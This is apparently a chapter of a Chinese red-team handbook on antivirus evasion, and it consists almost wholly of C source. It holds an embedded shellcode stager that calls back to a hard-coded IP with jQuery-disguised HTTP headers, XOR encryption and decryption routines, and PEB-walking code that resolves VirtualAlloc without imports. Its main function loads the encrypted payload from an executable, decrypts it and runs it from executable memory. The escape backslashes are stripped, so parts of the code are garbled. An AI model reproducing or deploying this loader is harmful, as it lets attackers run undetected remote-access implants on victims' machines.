红队渗透手册之免杀篇

/* length: 835 bytes */unsigned char shellcode[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7""xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1""xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59""x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5xe8x00x00x00x00x31xffx57x57x57x57x57x68x3a""x56x79xa7xffxd5xe9xa4x00x00x00x5bx31xc9x51x51x6ax03x51x51x68xbbx01x00x00x53x50x68x57x89x9fxc6xffxd5x50xe9x8cx00x00x00x5bx31xd2x52x68""x00x32xc0x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x68x80x33x00x00x89xe0x6ax04x50x6ax1fx56x68x75x46x9ex86xffxd5x5fx31""xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xcax01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21""x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x75x07x58x50xe9x7bxffxffxffx31xffxe9x91x01x00x00xe9xc9""x01x00x00xe8x6fxffxffxffx2fx6ax71x75x65x72x79x2dx33x2ex33x2ex31x2ex73x6cx69x6dx2ex6dx69x6ex2ex6ax73x00xd8x96x4bx1exf7x00xc9x68xb1x17""xc1xf6x3fxaaxdax52xb1x04xddx6bxc0xaax03x65x86x62x73x32x0cx93x3dx3exedxecx4ax29xd9x0fxa3xf3x90x3ax6exeax18x47x90x41x93x9bx55xc5x11x00""x41x63x63x65x70x74x3ax20x74x65x78x74x2fx68x74x6dx6cx2cx61x70x70x6cx69x63x61x74x69x6fx6ex2fx78x68x74x6dx6cx2bx78x6dx6cx2cx61x70x70x6c""x69x63x61x74x69x6fx6ex2fx78x6dx6cx3bx71x3dx30x2ex39x2cx2ax2fx2ax3bx71x3dx30x2ex38x0dx0ax41x63x63x65x70x74x2dx4cx61x6ex67x75x61x67x65""x3ax20x65x6ex2dx55x53x2cx65x6ex3bx71x3dx30x2ex35x0dx0ax48x6fx73x74x3ax20x63x6fx64x65x2ex6ax71x75x65x72x79x2ex63x6fx6dx0dx0ax52x65x66""x65x72x65x72x3ax20x68x74x74x70x3ax2fx2fx63x6fx64x65x2ex6ax71x75x65x72x79x2ex63x6fx6dx2fx0dx0ax41x63x63x65x70x74x2dx45x6ex63x6fx64x69""x6ex67x3ax20x67x7ax69x70x2cx20x64x65x66x6cx61x74x65x0dx0ax55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28""x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex33x3bx20x54x72x69x64x65x6ex74x2fx37x2ex30x3bx20x72x76x3ax31x31x2ex30x29x20x6cx69x6bx65x20x47""x65x63x6bx6fx0dx0ax00x3cx55xe2xa3xeaxdexc7x0cxc6x47xc6xf5x0ex72x7bxccx99x68x10xd8x1cx47xcfxa2xb2xb5x46xe9x89xf4xd5xb2x00x68xf0xb5xa2""x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9xafx0fx00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68""x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8x89xfdxffxffx31x39x32x2ex31x36x38x2ex32x2ex31x34x32x00x6fxaax51xc3";

void encrypt(){  int size = sizeof(shellcode);  unsigned char encryptedShellcode[sizeof(shellcode)];  unsigned char key[] = "shuidisec";
  printf("原始shellcode:rn");  for (int i = 0; i < size; i++)  {    printf("\x%0.2x", shellcode[i]);  }  printf("n");
  //加密  int j = 0;  for (int i = 0; i < size; i++)  {    if (j == sizeof(key))    {      j = 0;    }    encryptedShellcode[i] = shellcode[i] ^ key[j];    j++;  }
  //加密后数据  printf("加密后数据rn");  for (int i = 0; i < size; i++)  {    printf("\x%0.2x", encryptedShellcode[i]);  }  printf("n");
  //解密  unsigned char decryptshellcode[sizeof(encryptedShellcode)];  j = 0;  for (int i = 0; i < size; i++)   {    if (j == sizeof(key))    {      j = 0;    }    decryptshellcode[i] = encryptedShellcode[i] ^ key[j];    j++;  }  //解密后数据  printf("解密后数据rn");  for (int i = 0; i < size; i++)  {    printf("\x%0.2x", decryptshellcode[i]);  }  printf("n");}

/*获取kernel32.dll的基地址因为vc程序main函数之前会有初始化，所以不能通过堆栈栈顶值获取kernel32.dll中的地址因此通过 PEB 结构获取Kernel32.dll基址部分代码来自看雪论坛*/
#define PTCHAR char*
DWORD _getKernelBase(){  DWORD dwPEB;  DWORD dwLDR;  DWORD dwInitList;  DWORD dwDllBase;//当前地址  PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针  PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针  DWORD dwVirtualAddress;//导出表偏移地址  PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针  PTCHAR lpName;//指向dll名字的指针  TCHAR szKernel32[] = TEXT("KERNEL32.dll");  __asm  {    mov eax, FS:[0x30]//获取PEB所在地址    mov dwPEB, eax  }
  dwLDR = *(PDWORD)(dwPEB + 0xc);//获取PEB_LDR_DATA 结构指针  dwInitList = *(PDWORD)(dwLDR + 0x1c);//获取InInitializationOrderModuleList 链表头  //第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针
  for (;dwDllBase = *(PDWORD)(dwInitList + 8);//结构偏移0x8处存放模块基址    dwInitList = *(PDWORD)dwInitList//结构偏移0处存放下一模块结构的指针    )  {    pImageDosHeader = (PIMAGE_DOS_HEADER)dwDllBase;    pImageNtHeaders = (PIMAGE_NT_HEADERS)(dwDllBase + pImageDosHeader->e_lfanew);    dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移    pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwDllBase + dwVirtualAddress);//导出表地址    lpName = (PTCHAR)(dwDllBase + pImageExportDirectory->Name);//dll名字
    if (strlen(lpName) == 0xc && !strcmp(lpName, szKernel32))//判断是否为“KERNEL32.dll”    {      return dwDllBase;    }  }  return 0;}
/*获取指定字符串的API函数的调用地址入口参数：_hModule为动态链接库的基址_lpApi为API函数名的首址出口参数：eax为函数在虚拟地址空间中的真实地址*/DWORD _getApi(DWORD _hModule, PTCHAR _lpApi){  DWORD i;  DWORD dwLen;  PIMAGE_DOS_HEADER pImageDosHeader;//指向DOS头的指针  PIMAGE_NT_HEADERS pImageNtHeaders;//指向NT头的指针  DWORD dwVirtualAddress;//导出表偏移地址  PIMAGE_EXPORT_DIRECTORY pImageExportDirectory;//指向导出表的指针  TCHAR** lpAddressOfNames;  PWORD lpAddressOfNameOrdinals;//计算API字符串的长度  for (i = 0; _lpApi[i]; ++i);  dwLen = i;
  pImageDosHeader = (PIMAGE_DOS_HEADER)_hModule;  pImageNtHeaders = (PIMAGE_NT_HEADERS)(_hModule + pImageDosHeader->e_lfanew);  dwVirtualAddress = pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;//导出表偏移  pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(_hModule + dwVirtualAddress);//导出表地址  lpAddressOfNames = (TCHAR**)(_hModule + pImageExportDirectory->AddressOfNames);//按名字导出函数列表  for (i = 0; _hModule + lpAddressOfNames[i]; ++i)  {
    if (strlen(_hModule + lpAddressOfNames[i]) == dwLen &&      !strcmp(_hModule + lpAddressOfNames[i], _lpApi))//判断是否为_lpApi    {      lpAddressOfNameOrdinals = (PWORD)(_hModule + pImageExportDirectory->AddressOfNameOrdinals);//按名字导出函数索引列表
      return _hModule + ((PDWORD)(_hModule + pImageExportDirectory->AddressOfFunctions))        [lpAddressOfNameOrdinals[i]];//根据函数索引找到函数地址    }  }  return 0;}

int main(){  //encrypt();  //while (1);  unsigned char* encryptedShellcode = NULL;  unsigned char decryptedShellcode[0x344] = {0};    //从文件中读取加密后的shellcode  FILE * fp = fopen("./ConsoleApplication2.exe", "rb");  if (!fp)  {    perror("error ");    return 2;  }  int size = 0x344;//encryptedShellcode size
  fseek(fp, 0x2A00, SEEK_SET);// 0x2A00 encryptedShellcode 在文件中的偏移位置  encryptedShellcode = (unsigned char *)malloc(0x344);
  if (NULL == encryptedShellcode)  {    printf("malloc failed!n");    return 0;  }  int readcount = fread(encryptedShellcode, 1, size, fp);
  for (int i = 0; i < size; i++)  {    printf("\x%0.2x", encryptedShellcode[i]);  }
  fclose(fp);  printf("readcount : %p", readcount);  //解密shellcode  unsigned char key[] = "shuidisec";  int j = 0;  for (int i = 0; i < size; i++) {    if (j == sizeof(key))    {      j = 0;    }    decryptedShellcode[i] = encryptedShellcode[i] ^ key[j];    j++;  }  //解密后数据  printf("解密后数据rn");  for (int i = 0; i < size; i++)  {    printf("\x%0.2x", decryptedShellcode[i]);  }
    //动态加载并执行shellcode  TCHAR szVirAlloc[] = TEXT("VirtualAlloc");  typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
  VirtualAllocB p = (VirtualAllocB)_getApi(_getKernelBase(), szVirAlloc);   char* a = (char*)(*p)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  memcpy(a, decryptedShellcode, size);  (*(void(*)())a)();  return 0;}